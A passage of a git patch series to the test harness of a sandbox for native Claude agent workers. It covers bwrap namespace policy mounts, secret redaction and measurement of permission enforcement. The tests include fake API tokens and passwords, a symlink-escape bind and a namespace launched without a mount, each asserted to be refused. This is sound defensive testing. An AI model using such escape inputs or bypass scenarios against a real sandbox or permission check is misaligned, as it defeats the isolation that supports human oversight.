chunks and await captured(async records=>{ const stderr=new PassThrough(),secret="odysseus-private-key",token="sk-ant-"+"k".repeat(48); observeNativeWorkerStartup({stderr,exited:Promise.resolve(143)},{exitCode:143,signalCode:"SIGTERM"},[secret]); - stderr.write("startup failure\napi_key="+secret.slice(0,8)); + stderr.write('startup failure\nArgs: ["--prompt", "SIRENS_PRIVATE_ARGUMENT"]\nEnvironment: SIRENS_PRIVATE_ENVIRONMENT\napi_key='+secret.slice(0,8)); stderr.end(secret.slice(8)+"\nAuthorization: Bearer "+token+"\npassword=voyage-password\n/tmp/odysseus-private/result.md\n"); await new Promise(resolve=>setImmediate(resolve)); const record=records.find(row=>row.kind==="native-fixture-startup-stderr")!; expect(record.text).toContain("startup failure"); - for(const value of [secret,token,"voyage-password","/tmp/odysseus-private"])expect(record.text).not.toContain(value); + for(const value of [secret,token,"voyage-password","/tmp/odysseus-private","SIRENS_PRIVATE_ARGUMENT","SIRENS_PRIVATE_ENVIRONMENT"])expect(record.text).not.toContain(value); expect(record.text).toContain("[redacted"); expect(record.truncated).toBe(false); expect(records.find(row=>row.kind==="native-fixture-worker-exit")).toEqual({kind:"native-fixture-worker-exit",exitCode:143,signal:"SIGTERM",signalScope:"worker-bootstrap",bootstrapExitCode:143}); From 38df8bb59f23291a35688593256751dd27aea16d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 09:12:20 +0000 Subject: [PATCH 057/187] test: require keeper mount namespace entry --- scripts/test-native-guard.ts | 4 +++- tests/native-offline-boundary.test.ts | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index eb851c70bd..4095ebbe6f 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -810,7 +810,9 @@ function registerFixtureKeeper(storage: FixtureKeeper): () => void { function workerKeeper(argv: readonly string[], bwrap: number): KeeperInspection | undefined { const at = argv.findIndex((value,index) => index < bwrap && basename(value)==="nsenter"); if(at<0)return; - const target=argv.indexOf("--target",at);if(target<0||target>bwrap)return; + const separator=argv.indexOf("--",at); + if(separator<0||separator>bwrap||!argv.slice(at+1,separator).includes("--mount"))return; + const target=argv.indexOf("--target",at);if(target<0||target>separator)return; const entry=fixtureKeepers.get(Number(argv[target+1]));if(!entry)return; if(!entry.live())refuse("fixture keeper namespace is no longer live");entry.refresh();return entry; } diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 8bdfc2db7d..50f7b25b7e 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -1065,11 +1065,13 @@ test("keeper output root requires a guarded child namespace and pinned fixture h const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; const binds=argv.slice(argv.indexOf("--bind"));if(!binds.includes(${JSON.stringify(join(keeperRoot,"merged/.brain/scratch"))}))throw Error("PUBLICATION_BIND_CHANGED"); fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();console.error(JSON.stringify({keeperRoot:"admitted"})); + const hostNamespace=JSON.parse(env.BRAIN_WORKER_LAUNCH);hostNamespace.argv=hostNamespace.argv.filter(value=>value!=="--mount"); + try{const unsafe=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(hostNamespace)});unsafe.dispose();throw Error("KEEPER_WITHOUT_MOUNT_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"missing-mount-refused"}));} const escaped=JSON.parse(env.BRAIN_WORKER_LAUNCH);escaped.argv[escaped.argv.indexOf("--bind")+1]=${JSON.stringify(join(keeperRoot,"merged/escape"))}; try{const unsafe=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(escaped)});unsafe.dispose();throw Error("KEEPER_SYMLINK_ESCAPE_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"escape-refused"}));} unregister(); try{const unsafe=guard.nativeWorkerBoundary(env);unsafe.dispose();throw Error("UNREGISTERED_KEEPER_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"unregistered-refused"}));} }finally{unregister();child.stdin.end();child.kill("SIGKILL");fs.closeSync(fd);}`,scratch); - expect(result.output.split("\n")).toContain('{"keeperRoot":"admitted"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"unregistered-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"escape-refused"}');expect(result.code).toBe(1); + expect(result.output.split("\n")).toContain('{"keeperRoot":"missing-mount-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"admitted"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"unregistered-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"escape-refused"}');expect(result.code).toBe(1); }finally{rmSync(scratch,{recursive:true,force:true});rmSync(keeperRoot,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} }); From 412a2e725d8326fe1601276e6d4480bf061dd551 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 09:15:17 +0000 Subject: [PATCH 058/187] test: declare enforcement inputs across RTK re-entry --- scripts/measure-claude-enforcement.ts | 7 +++---- scripts/test-network-guard.ts | 2 +- tests/native-offline-boundary.test.ts | 2 +- tests/native-worker-fixture-inventory.test.ts | 20 +++++++++++++++++++ 4 files changed, 25 insertions(+), 6 deletions(-) diff --git a/scripts/measure-claude-enforcement.ts b/scripts/measure-claude-enforcement.ts index b189dc6b02..c30c882898 100644 --- a/scripts/measure-claude-enforcement.ts +++ b/scripts/measure-claude-enforcement.ts @@ -1,11 +1,10 @@ import "./measurement-entry-preload.ts"; -import { nativeScriptedQuery } from "./test-native-guard.ts"; +import { nativeFixtureDirectory, nativeScriptedQuery } from "./test-native-guard.ts"; // #901: real production wiring, real CLI, scripted loopback inference. // Run in the same loopback-only network namespace as measure-claude-runtime. // The query wrapper observes existing handlers and messages; it forwards their // inputs and outputs unchanged. It installs no permission decision of its own. -import { chmodSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; +import { chmodSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { dirname, join } from "node:path"; import type { HookJSONOutput, Options, SDKMessage } from "@anthropic-ai/claude-agent-sdk"; import { type PermissionRequest } from "@schlessera/brain-ui-sdk/server"; @@ -35,7 +34,7 @@ let failures = 0; try { for (const scenario of ["manual-default", "plain", "settings-allow", "settings-hook-allow", "rtk-rewrite"] as const) { for (const arm of ["denied", "approved", "allowlisted"] as const) { - const root = mkdtempSync(join(tmpdir(), "enforcement-probe-")); + const root = nativeFixtureDirectory("enforcement-probe-"); const cwd = join(root, "cwd"), home = join(root, "home"), bin = join(root, "bin"); for (const dir of [cwd, home, bin]) mkdirSync(dir); const original = join(WORKER_SCRATCH, "original"), rewritten = join(WORKER_SCRATCH, "rewritten"), settingsMarker = join(WORKER_SCRATCH, "settings-hook-ran"); diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 4c2d4428ed..5459ae3621 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -209,7 +209,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // followed by process.exit(0), must still make that process unsuccessful. process.on("exit", () => { if (escapes.length || nativeIsolationFailed()) { - console.error(message()); + console.error(escapes.length ? message() : "Offline test guard: native isolation refused; see native-offline-boundary receipt"); process.exit(1); } }); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 50f7b25b7e..1de2285e00 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -1035,7 +1035,7 @@ test("a refused worker spawn rejects and closes the failed invocation promptly", const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin",HOME:scratch},stdout:"pipe",stderr:"pipe",signal:AbortSignal.timeout(watchdogMs(5000))}); const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); expect(code,err).toBe(1);expect(out).toBe("");expect(err.split("\n")).toContain("SPAWN_PROMISE_REJECTED"); - expect(err).toContain('"nativeLaunched":false');expect(existsSync(marker)).toBe(false); + expect(err).toContain('"nativeLaunched":false');expect(err).not.toContain("attempted real network access");expect(err).toContain("native isolation refused");expect(existsSync(marker)).toBe(false); }finally{rmSync(scratch,{recursive:true,force:true});} },watchdogMs(15000)); diff --git a/tests/native-worker-fixture-inventory.test.ts b/tests/native-worker-fixture-inventory.test.ts index 1dac937c25..593b12ec42 100644 --- a/tests/native-worker-fixture-inventory.test.ts +++ b/tests/native-worker-fixture-inventory.test.ts @@ -28,3 +28,23 @@ for(const name of ["autonomous-dispatch","autonomous-app","autonomous-runtime"," const source=read(`tests/fixtures/${name}-probe.ts`); expect(source).toContain("fixtureRoots: [root]"); }); + +// The enforcement entry re-enters the RTK view before constructing its worker; +// inspecting only tests/ and the shared worker helper misses its HOME/PATH roots. +test("enforcement RTK re-entry declares every temporary worker input",()=>{ + const file="scripts/measure-claude-enforcement.ts",text=read(file),source=ts.createSourceFile(file,text,ts.ScriptTarget.Latest,true); + let created=0; + function visit(node:ts.Node){ + if(ts.isCallExpression(node)&&node.expression.getText(source)==="nativeFixtureDirectory"){ + expect(node.arguments[0]?.getText(source)).toBe('"enforcement-probe-"');created++; + } + ts.forEachChild(node,visit); + }visit(source); + expect(created,"ENFORCEMENT_ROOT_REGISTERED").toBe(1); + expect(text).not.toContain("mkdtempSync"); + expect(text).toContain("createMeasurementWorkerFixture(cwd, home)"); + expect(text.indexOf("await enterMeasurementRtkView()")).toBeLessThan(text.indexOf('nativeFixtureDirectory("enforcement-probe-")')); + const rtk=read("scripts/measurement-rtk-fixture.ts"); + expect(rtk).toContain('process.argv.slice(1), "--native-rtk-view"'); + expect(rtk).toContain('"--bind", "/tmp", "/tmp"'); +}); From 088ec42bb63323ee470fe95e00c7a02cec18b1f2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 09:19:51 +0000 Subject: [PATCH 059/187] test: prepare policy before compiler-free fixture namespaces --- docs/process/testing.md | 8 +++++++- .../tests/host-relay-native.test.ts | 5 +++-- .../tests/native-route-qualification.test.ts | 7 ++++--- .../tests/ordinary-host-relay.test.ts | 5 +++-- .../tests/sdk-host-relay.test.ts | 14 +++++++++----- .../tests/shell-startup.test.ts | 8 +++++--- scripts/test-native-guard.ts | 11 +++++++++-- tests/native-policy-artifact.test.ts | 16 ++++++++++++++-- tests/native-worker-fixture-inventory.test.ts | 11 +++++++++++ 9 files changed, 65 insertions(+), 20 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index baa257e38c..ebbb18f6b8 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1185,7 +1185,13 @@ The broker remains non-dumpable, its listener is absent from the native child, and native processes cannot duplicate or inspect its control descriptors. Hosted qualification must pass the real kernel-policy self-test before any installed runtime launches; missing compiler or kernel support emits a failed -receipt. Local plan tests compile the helper but mock that hosted probe. +receipt. Fixture namespaces that hide compiler inputs compile once in their +outer process, then bind the artifact read-only after all covering mounts and +pass its digest to the inner guard. The inner guard verifies regular-file type, +non-writability and SHA-256 before using it; an absent or changed artifact +refuses instead of falling back. Unit shards and determinism use the same +fixture preparation as runtime proof. Local plan tests compile the helper but +mock that hosted probe. Separate-UID trace storage stays guard-owned with an ACL granting only the verified worker UID write access. Receipt reads validate ownership, inode, diff --git a/packages/ui-backend-claude/tests/host-relay-native.test.ts b/packages/ui-backend-claude/tests/host-relay-native.test.ts index cb2d0d056c..70613c2981 100644 --- a/packages/ui-backend-claude/tests/host-relay-native.test.ts +++ b/packages/ui-backend-claude/tests/host-relay-native.test.ts @@ -1,4 +1,4 @@ -import { nativeNamespaceEnvironment } from "../../../scripts/test-native-guard.ts"; +import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; /** Native protocol proof, not ordinary-worker launcher or host-filesystem isolation proof. */ import { expect, test } from "bun:test"; import { createHash } from "node:crypto"; @@ -16,8 +16,9 @@ test("installed native first-party relay preserves resumed history, per-turn mod // No test fetch instrumentation covers the native executable. Its entire // process tree therefore runs with no external route and no ambient env. const fixture = new URL("./fixtures/host-relay-probe.ts", import.meta.url).pathname; + const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture], { + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, ...policy.args], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: 25_000, }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); diff --git a/packages/ui-backend-claude/tests/native-route-qualification.test.ts b/packages/ui-backend-claude/tests/native-route-qualification.test.ts index 998eb90f2c..e71f9bebae 100644 --- a/packages/ui-backend-claude/tests/native-route-qualification.test.ts +++ b/packages/ui-backend-claude/tests/native-route-qualification.test.ts @@ -1,11 +1,12 @@ -import { nativeNamespaceEnvironment } from "../../../scripts/test-native-guard.ts"; +import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; import { expect, test } from "bun:test"; import { resolve } from "node:path"; const root = resolve(import.meta.dir, "../../.."); function probe(fixture: string, mode?: string): Record { + const policy = nativeNamespacePolicy(); const child = Bun.spawnSync(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", - "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--tmpfs", "/opt", "--proc", "/proc", "--dev", "/dev", - process.execPath, "--preload", resolve(root, "scripts/test-network-child-preload.ts"), resolve(import.meta.dir, "fixtures", fixture), ...(mode ? [mode] : [])], + "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--tmpfs", "/opt", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, + process.execPath, "--preload", resolve(root, "scripts/test-network-child-preload.ts"), resolve(import.meta.dir, "fixtures", fixture), ...(mode ? [mode] : []), ...policy.args], { cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe", timeout: 25000 }); expect(child.exitCode, child.stderr.toString()).toBe(0); return JSON.parse(child.stdout.toString().trim().split("\n").at(-1)!); diff --git a/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts b/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts index 6ca6f887b9..d222f2ff5b 100644 --- a/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts +++ b/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts @@ -1,4 +1,4 @@ -import { nativeNamespaceEnvironment } from "../../../scripts/test-native-guard.ts"; +import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; /** Production ordinary spawn/state/native composition; fixture storage is not Btrfs qualification. */ import { expect, test } from "bun:test"; import { createHash } from "node:crypto"; @@ -16,8 +16,9 @@ test.each(["strict", "governed"] as const)("ordinary %s spawn preserves native h // No test fetch instrumentation covers the native executable. Its entire // process tree therefore runs with no external route and no ambient env. const fixture = new URL("./fixtures/ordinary-host-relay-probe.ts", import.meta.url).pathname; + const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, profile], { + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, profile, ...policy.args], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: 25_000, }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); diff --git a/packages/ui-backend-claude/tests/sdk-host-relay.test.ts b/packages/ui-backend-claude/tests/sdk-host-relay.test.ts index 7bcaced354..5a5ad088f5 100644 --- a/packages/ui-backend-claude/tests/sdk-host-relay.test.ts +++ b/packages/ui-backend-claude/tests/sdk-host-relay.test.ts @@ -1,4 +1,4 @@ -import { nativeNamespaceEnvironment } from "../../../scripts/test-native-guard.ts"; +import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; import { SDK_RELAY_PROFILE_TIMEOUT_MS, SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, SDK_RELAY_CANCELLATION_TIMEOUT_MS } from "./fixtures/sdk-host-relay-limits.js"; /** Full SDK construction, native startup and prepared ordinary transport; fixture storage is not Btrfs qualification. */ import { expect, test } from "bun:test"; @@ -17,8 +17,9 @@ test.each(["strict", "governed"] as const)("prepared %s SDK turn preserves nativ // No test fetch instrumentation covers the native executable. Its entire // process tree therefore runs with no external route and no ambient env. const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; + const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, profile], { + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, profile, ...policy.args], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_PROFILE_TIMEOUT_MS, }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); @@ -76,8 +77,9 @@ test.each(["strict", "governed"] as const)("prepared %s SDK turn preserves nativ test("prepared SDK native auto-allowed Bash still honors the existing per-use refusal", async () => { const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; + const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, "governed", "permission"], { + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, "governed", "permission", ...policy.args], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); @@ -95,8 +97,9 @@ test("prepared SDK native auto-allowed Bash still honors the existing per-use re test.each(["managed", "project"] as const)("prepared SDK %s credential or transport override withholds the native prompt", async source => { const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; + const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, "governed", source], { + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, "governed", source, ...policy.args], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); @@ -112,8 +115,9 @@ test.each(["managed", "project"] as const)("prepared SDK %s credential or transp test("prepared SDK initializes with no projected host credential store before any prompt", async () => { const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; + const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, "governed", "inspect"], { + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, "governed", "inspect", ...policy.args], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); diff --git a/packages/ui-backend-claude/tests/shell-startup.test.ts b/packages/ui-backend-claude/tests/shell-startup.test.ts index 7f8f0964ae..eaf2ddf887 100644 --- a/packages/ui-backend-claude/tests/shell-startup.test.ts +++ b/packages/ui-backend-claude/tests/shell-startup.test.ts @@ -1,3 +1,4 @@ +import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; /** Native commands need OS isolation: the entire fixture has only loopback networking. */ import { expect, test } from "bun:test"; import { mkdtempSync, readlinkSync, rmSync } from "node:fs"; @@ -35,10 +36,11 @@ for (const shell of ["bash", "zsh"] as const) for (const [profile, startupEnv] o const scratch = mkdtempSync(join(tmpdir(), "odysseus-shell-startup-")); const fixture = new URL("./fixtures/shell-startup-probe.ts", import.meta.url).pathname; try { - const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/opt/odysseus-shell-fixture/home", + const policy = nativeNamespacePolicy(); + const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/opt/odysseus-shell-fixture/home", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/opt", - "--bind", scratch, "/opt/odysseus-shell-fixture", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", - process.execPath, fixture, "/opt/odysseus-shell-fixture", branch, profile, startupEnv ? "startup-env" : "clean-env", shell], { + "--bind", scratch, "/opt/odysseus-shell-fixture", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, + process.execPath, fixture, "/opt/odysseus-shell-fixture", branch, profile, startupEnv ? "startup-env" : "clean-env", shell, ...policy.args], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: 30_000, }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 4095ebbe6f..3ce69e9ec0 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -203,10 +203,17 @@ function compilerDiagnostic(value: string): string { return redactProviderMessage(redactCredentials(redactor.text(text))).slice(0, 4096); } catch { return "[diagnostic redaction unavailable]"; } } -/** Compile in the outer test process; RTK re-entry receives only this artifact. */ +/** Prepare before a fixture hides compiler inputs such as /etc/alternatives. */ +export function nativeNamespacePolicy(): { mounts: string[]; args: string[] } { + const policy = compileSocketPolicy(); + return { mounts: ["--ro-bind", policy, RTK_SOCKET_POLICY], + args: ["--native-policy-view", `--native-socket-policy-sha256=${fileHash(policy)}`] }; +} + +/** Compile in the outer test process; namespace re-entry receives only this artifact. */ export function compileSocketPolicy(): string { if (socketPolicyExecutable) return socketPolicyExecutable; - if (process.argv.includes("--native-rtk-view")) { + if (process.argv.includes("--native-rtk-view") || process.argv.includes("--native-policy-view")) { const digest = process.argv.find(value => value.startsWith("--native-socket-policy-sha256="))?.split("=")[1]; try { const info = lstatSync(RTK_SOCKET_POLICY); diff --git a/tests/native-policy-artifact.test.ts b/tests/native-policy-artifact.test.ts index 5a4fdbe33e..3c73b43d55 100644 --- a/tests/native-policy-artifact.test.ts +++ b/tests/native-policy-artifact.test.ts @@ -22,7 +22,7 @@ for(const kind of ["stderr","throw","artifact"] as const)test(`native policy ${k }finally{rmSync(root,{recursive:true,force:true});} }); -for(const mode of ["valid","changed","writable"] as const)test(`read-only RTK policy artifact ${mode} is verified without compiling`,async()=>{ +for(const view of ["rtk","policy"] as const)for(const mode of ["valid","changed","writable"] as const)test(`read-only ${view} policy artifact ${mode} is verified without compiling`,async()=>{ const root=mkdtempSync(join(tmpdir(),"odysseus-policy-artifact-")); try{ const file=join(root,"policy"),script=join(root,"probe.ts");writeFileSync(file,"Odysseus synthetic policy bytes"); @@ -31,7 +31,7 @@ for(const mode of ["valid","changed","writable"] as const)test(`read-only RTK po fs.chmodSync(file,${mode==="writable"?'0o755':'0o555'}); const digest=createHash("sha256").update(fs.readFileSync(file)).digest("hex"); mock.module("node:fs",()=>({...originalFs,statSync:(path,...args)=>originalFs.statSync(path===fixed?file:path,...args),openSync:(path,...args)=>originalFs.openSync(path===fixed?file:path,...args),lstatSync:(path,...args)=>originalFs.lstatSync(path===fixed?file:path,...args),readFileSync:(path,...args)=>originalFs.readFileSync(path===fixed?file:path,...args)})); - process.argv.push("--native-rtk-view","--native-socket-policy-sha256="+${mode==="changed"?'"a".repeat(64)':'digest'}); + process.argv.push(${JSON.stringify("--native-"+view+"-view")},"--native-socket-policy-sha256="+${mode==="changed"?'"a".repeat(64)':'digest'}); const original=Bun.spawnSync;Bun.spawnSync=((argv,options)=>{if(argv[0]==="cc")throw Error("INNER_COMPILER_REACHED");return Reflect.apply(original,Bun,[argv,options]);}); const {compileSocketPolicy}=await import(${JSON.stringify(guard+"?artifact-fixture")}); console.log(compileSocketPolicy());`); @@ -61,3 +61,15 @@ test("an isolated preload without receipt libraries never prints raw diagnostic expect(receipt.compilerStderr).toBe("[diagnostic redaction unavailable]"); }finally{rmSync(root,{recursive:true,force:true});} }); + +// Compilation only: no namespace or installed native process executes. +test("namespace policy is compiled outside the compiler-free view and mounted read-only",async()=>{ + const {nativeNamespacePolicy}=await import("../scripts/test-native-guard.ts"); + const {createHash}=await import("node:crypto");const {readFileSync,statSync}=await import("node:fs"); + const policy=nativeNamespacePolicy(); + expect(policy.mounts[0]).toBe("--ro-bind"); + expect(policy.mounts[2]).toBe("/usr/local/bin/brain-native-connect"); + expect(statSync(policy.mounts[1]!).mode & 0o222).toBe(0); + expect(policy.args).toEqual(["--native-policy-view","--native-socket-policy-sha256="+createHash("sha256").update(readFileSync(policy.mounts[1]!)).digest("hex")]); + expect(nativeNamespacePolicy()).toEqual(policy); +}); diff --git a/tests/native-worker-fixture-inventory.test.ts b/tests/native-worker-fixture-inventory.test.ts index 593b12ec42..fb7ec19dc8 100644 --- a/tests/native-worker-fixture-inventory.test.ts +++ b/tests/native-worker-fixture-inventory.test.ts @@ -48,3 +48,14 @@ test("enforcement RTK re-entry declares every temporary worker input",()=>{ expect(rtk).toContain('process.argv.slice(1), "--native-rtk-view"'); expect(rtk).toContain('"--bind", "/tmp", "/tmp"'); }); + +for(const file of ["host-relay-native","ordinary-host-relay","native-route-qualification","sdk-host-relay","shell-startup"])test(`compiler-free native namespaces carry outer policy: ${file}`,()=>{ + const text=read(`packages/ui-backend-claude/tests/${file}.test.ts`); + const namespaces=[...text.matchAll(/\.\.\.nativeNamespaceEnvironment\(\)/g)].length; + expect(namespaces).toBeGreaterThan(0); + expect([...text.matchAll(/const policy = nativeNamespacePolicy\(\)/g)].length,"OUTER_POLICY_PREPARED").toBe(namespaces); + expect([...text.matchAll(/\.\.\.policy\.mounts/g)].length,"POLICY_READ_ONLY_MOUNT").toBe(namespaces); + expect([...text.matchAll(/\.\.\.policy\.args/g)].length,"POLICY_DIGEST_ARGUMENT").toBe(namespaces); + // Every policy bind follows the fixture masks, including /tmp and /etc. + expect([...text.matchAll(/"--dev", "\/dev", \.\.\.policy\.mounts/g)].length,"POLICY_AFTER_MASKS").toBe(namespaces); +}); From 92deee152a8a30cd3696ff23ee06d5faaeb77057 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 09:24:07 +0000 Subject: [PATCH 060/187] test: return private identity audits to the runner owner --- .../tests/fixtures/ordinary-identity-root.ts | 12 +++++- .../tests/fixtures/private-proof-artifact.ts | 21 ++++++++++ tests/private-proof-artifact.test.ts | 41 